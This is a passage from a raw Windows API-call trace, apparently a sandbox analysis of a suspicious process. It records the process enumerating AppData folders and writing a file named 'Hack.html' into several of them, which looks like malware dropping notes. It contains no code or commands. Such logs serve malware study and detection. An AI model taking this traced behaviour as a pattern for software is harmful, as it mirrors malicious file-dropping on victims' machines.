lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x42 [0077.139] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\", lpFilePart=0x0) returned 0x43 [0077.139] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1a8 [0077.140] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.140] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.140] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.140] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.140] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.140] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.140] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0077.141] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x51 [0077.141] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\", lpFilePart=0x0) returned 0x52 [0077.141] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0077.142] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.142] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.142] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0077.142] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0077.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0077.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0077.143] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x51 [0077.143] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\", lpFilePart=0x0) returned 0x52 [0077.143] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0077.143] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.143] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.143] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0077.143] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0077.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0077.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.144] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x57 [0077.144] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\", lpFilePart=0x0) returned 0x58 [0077.144] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.144] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.144] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.144] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x57 [0077.145] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\", lpFilePart=0x0) returned 0x58 [0077.145] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.145] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0077.145] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713", lpFilePart=0x0) returned 0x60 [0077.145] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\", lpFilePart=0x0) returned 0x61 [0077.145] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0077.156] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0077.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0077.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0077.157] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713", lpFilePart=0x0) returned 0x60 [0077.157] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\", lpFilePart=0x0) returned 0x61 [0077.157] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0077.158] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0077.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0077.158] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\Hack.html", lpFilePart=0x0) returned 0x6a [0077.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0077.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.159] GetFileType (hFile=0x174) returned 0x1 [0077.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0077.160] GetFileType (hFile=0x174) returned 0x1 [0077.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0077.160] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", lpFilePart=0x0) returned 0x60 [0077.160] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\", lpFilePart=0x0) returned 0x61 [0077.161] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0077.170] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0077.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0077.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", lpFilePart=0x0) returned 0x60 [0077.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\", lpFilePart=0x0) returned 0x61 [0077.172] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0077.173] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.174] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\Hack.html", lpFilePart=0x0) returned 0x6a [0077.174] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.175] GetFileType (hFile=0x174) returned 0x1 [0077.175] GetFileType (hFile=0x174) returned 0x1 [0077.176] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\Hack.html", lpFilePart=0x0) returned 0x61 [0077.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.177] GetFileType (hFile=0x174) returned 0x1 [0077.177] GetFileType (hFile=0x174) returned 0x1 [0077.179] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\Hack.html", lpFilePart=0x0) returned 0x5b [0077.179] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.179] GetFileType (hFile=0x174) returned 0x1 [0077.179] GetFileType (hFile=0x174) returned 0x1 [0077.180] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", lpFilePart=0x0) returned 0x59 [0077.180] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\", lpFilePart=0x0) returned 0x5a [0077.180] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0077.181] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.182] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", lpFilePart=0x0) returned 0x59 [0077.182] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\", lpFilePart=0x0) returned 0x5a [0077.182] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0077.182] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.182] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\Hack.html", lpFilePart=0x0) returned 0x63 [0077.182] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\transcoded files cache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.183] GetFileType (hFile=0x174) returned 0x1 [0077.183] GetFileType (hFile=0x174) returned 0x1 [0077.184] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Hack.html", lpFilePart=0x0) returned 0x4c [0077.184] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.184] GetFileType (hFile=0x174) returned 0x1 [0077.184] GetFileType (hFile=0x174) returned 0x1 [0077.186] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office", lpFilePart=0x0) returned 0x3c [0077.186] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\", lpFilePart=0x0) returned 0x3d [0077.186] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1a8 [0077.187] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office", lpFilePart=0x0) returned 0x3c [0077.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\", lpFilePart=0x0) returned 0x3d [0077.187] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1a8 [0077.187] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0", lpFilePart=0x0) returned 0x41 [0077.188] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\", lpFilePart=0x0) returned 0x42 [0077.188] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0077.189] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.189] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0", lpFilePart=0x0) returned 0x41 [0077.189] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\", lpFilePart=0x0) returned 0x42 [0077.189] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0077.189] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.189] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache", lpFilePart=0x0) returned 0x51 [0077.189] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\", lpFilePart=0x0) returned 0x52 [0077.189] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.191] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.191] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache", lpFilePart=0x0) returned 0x51 [0077.191] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\", 